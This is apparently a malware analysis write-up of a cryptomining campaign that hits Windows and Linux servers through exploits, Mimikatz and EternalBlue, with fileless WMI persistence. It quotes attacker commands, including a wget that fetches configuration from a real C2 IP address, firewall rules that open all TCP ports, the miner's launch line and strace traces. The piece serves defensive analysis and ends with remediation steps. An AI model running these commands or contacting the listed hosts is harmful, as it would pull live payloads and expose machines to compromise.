
Exploit, malware and mining 
UDURRANI 

This particular campaign is very interesting as it contains multiple payloads, with different 

code paths (combination of  exploit & malware). At the same time its not recognized or detected 

by many anti virus providers. Another interesting thing to notice is the fact that the attacker has 

managed to create very similar payloads for windows and linux, to accomplish the same tasks. 

First of  all let me draw this out for you i.e. just to make things simple. 

You can clearly see two different patterns. One for windows (at the top) and one for Linux 

(at the bottom). Payloads are independent, yet behave in a very similar fashion. Let’s 

summarize the situation: 

- Attacker finds out a vulnerable server (linux | windows). 

- This server in most cases would be public facing. 

- Depending on the OS, attacker’s got few vulnerabilities for the entry point 

- Once the attacker is in, spawns powershell, wmi or bash, again, depending on the OS. 

- The second stage downloads further payload(s) for multiple reasons: 

1. DLL, EXE or an ELF file that includes the exploit code for lateral movement 
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2. If  vulnerability doesn't exist (in case of  windows), rely on Mimikatz for lateral 

movement. 

3. Download configuration files 

4. Start monero mining. 

Ok, so we got the easy stuff  out of  the way, let’s kick it up a notch.  

WINDOWS:  

We can start with the windows payload. Its mostly using powershell / wmi to get things 

going. Initially powershell downloads an obfuscated script. 

There is more to it however, I couldn’t paste the whole script. Powershell connects to an ip 

address to download further payloads. 
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This powershell script has a lot to it. It can dictate multiple code paths that the payload will 

follow in real-time. E.g. to scan other machines for lateral movement.  

It creates an array of  ip addresses and then split each octet. It also runs netstats -anop tcp. 

In initial stages the flow looks something like this: 
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One can clearly see that  its connecting to 192.22.127.93 on port 8000 and at the same time 

its spawning netstat and another powershell instance. The second powershell instance is used to 

initiate a fileLess persistence. This is achieved by WMI event subscription. Normally, a 

permanent WMI event subscription could be used to persist and respond to certain events. 

We don’w have to get into WMI details but it provides pair of  terms i.e. provider and a 

consumer. Consumer tells WMI to retrieve or modify system management information. Provider 

on the other hand is someone who makes all the info available. Providers are also used by 3rd 

party developers. Powershell is able to integrate with WMI via cmdlets. These cmdlets act as 

consumers. For the script execution WSH is required to translate instructions into windows 

application programming interface. WMI can use DCOM or WinRM to initiate remote object 

queries.  

                    ConnectServer(" Machine", "root\\ cimv2", "uid", "passwd", “…”) 

WMI could be considered as a collection of  objects that provides access to different parts of  the 
operating system. I think I got carried away with this WMI thing. Let’s get back to the actuall 
stuff.  

Once the payload scans the internal network, it can follow 2 different code paths: 

Use mimikataz to get credentials 

  Or use eternalBlue (if  vulnerable). Here is a basic flow for the vulnerability. 
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Please NOTE:  Vulnerability code is present in the downloaded DLL.  

Either with the help of  mimikatz or the vulnerability, the payload can copy itself  to the next 
server. Now the mining starts. The payload will try to keep as many cores busy and thats why the 
server or the workstation cpu will constantly be 99% - 100%. It maintains a keep alive function to 
the C2 server. 

!5



Some of  the other commands run on Windows OS 

ping 127.0.0.1 -n 10 
netsh advfirewall set allprofiles state on 
netsh advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow 
netsh advfirewall firewall add rule name="deny tcp 445" dir=in protocol=tcp localport=445 action=block 
netsh advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block 
netsh advfirewall firewall add rule name="deny tcp 135" dir=in protocol=tcp localport=135 action=block 
netsh advfirewall firewall add rule name="tcpall" dir=out protocol=tcp localport=0-65535 action=allow 

 

Onto Linux: 

Linux is doing pretty much the same but using different payload(s) and vulnerability. Entry point 
in this case is a web-logic vulnerability. This spawns a first stage bash script. If  you aren’t a linux 
user, think of  bash as powershell. This script does the following: 

• Communicate to C2 server(s) 
• Download other payloads 
• Downloads config files as *.json 
• Puts everything in /tmp or /var/tmp location 
• Creates a cronjob for persistence 
• Will try to keep all the cores busy for mining. 

It starts by talking to a C2 server by getting the configuration in form of  a *.json file. The bash 
script uses wget to accomplish this task.  
                   wget -O /var/tmp/config.json http://192.99.142.248:8220/3.json 

And here is the result: 
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http://192.99.142.248:8220/3.json


 

Once the config is complete. It uses another wget call to download a bash script and a binary (in 
linux world we call it an ELF file). Bash script file is saved as *.jpg. 
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Here is how it downloads the linux executable file (ELF) 

It creates a cronjob: 

Once the binary is downloaded, its saved as /var/tmp/sustes initiated by the bash script as 
          
            ./sustes -c config.json -t -1. 
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Bash script uses nohup command to run the script in the background where ‘init’ becomes the 
parent  

wait4(-1, nohup: redirecting stderr to stdout[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 
0, NULL) = 23465 

This payload uses a few threads to carry on with its tasks: 

Payload initially check for the config file. 
                     open("/root/config.json", O_RDONLY|O_CLOEXEC) = -1 

If  resting value is -1, payload won’t do anything. 
open("/sys/devices/system/cpu/online", O_RDONLY|O_CLOEXEC) = 3 
read(3, "0\n", 8192)     

Open returns 3. If  return value < 0, implies error. 
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When JSON config file is present, following is the result 

open("/root/config.json", O_RDONLY|O_CLOEXEC) = 9 

Once open is successful, file properties are changed, followed by read(). 

fcntl(9, F_GETFL)  = 0x8000  
fstat(9, {st_mode=S_IFREG|0644, st_size=3031, ...}) = 0 
read(9, "{\r\n    \"algo\": \"cryptonight\",  /"..., 8192) = 3031 

Configuration file looks like: 

Bash script is initiated by 

execve(“./scriptName.sh", ["./scriptName.sh"], []) = 0 

stat("/bin/chmod", {st_mode=S_IFREG|0755, st_size=55872, ...}) = 0 
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|
SIGCHLD, child_tidptr=0x7fa8aa6699d0) = 23461 
wait4(-1, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 23461 

For the ACK between victim machine and the C2 server, epoll_wait() is used. This function 
returns information about ready file descriptors from the epoll instance referred by epfd. A 
single epoll_wait() call can return information about multiple file descriptors. It returns number 
of  file descriptors or -1 in case of  error. It could be used for blocking until an event occurs or 
could perform a non-blocking check. Please take a look at epoll(), select(), the difference is how 
the data structures are passed to the kernel and the data readiness. 
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Once the descriptor is ready, it will write() to a socket file descriptor and then read() 

write(FD, "{\"id\":5,\"jsonrpc\":\"2.0\",\"method\""..., 102) = 102 
read(FD, "{\"id\":5,\"jsonrpc\":\"2.0\",\"error\":"..., 2048) = 71 

Conclusion: 

As I mentioned before, the payload is pretty interesting. It uses a combination of  exploit and 
malware techniques. It also makes sure it uses fileLess persistence to evade anti virus detection 
techniques. It has the capability to propagate on the network. It also has the potential to steal 
credentials and useful data, even though the goal for the attacker is to do monero mining. I tested 
the payload with couple of  anti virus’s  
 

Later I changed the assembly of  the payload and re-tested 
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You should make sure: 

- You are patched against known vulnerabilities 
- Get a good zero-day prevention product 
- Delete the cornJobs created by the malicious payload 
- Delete persistence from windows machine 
- Kill the processes 
- Reboot the machine and things should be fine. 
- Don’t use weak or default credentials 

- Last BUT not least: 
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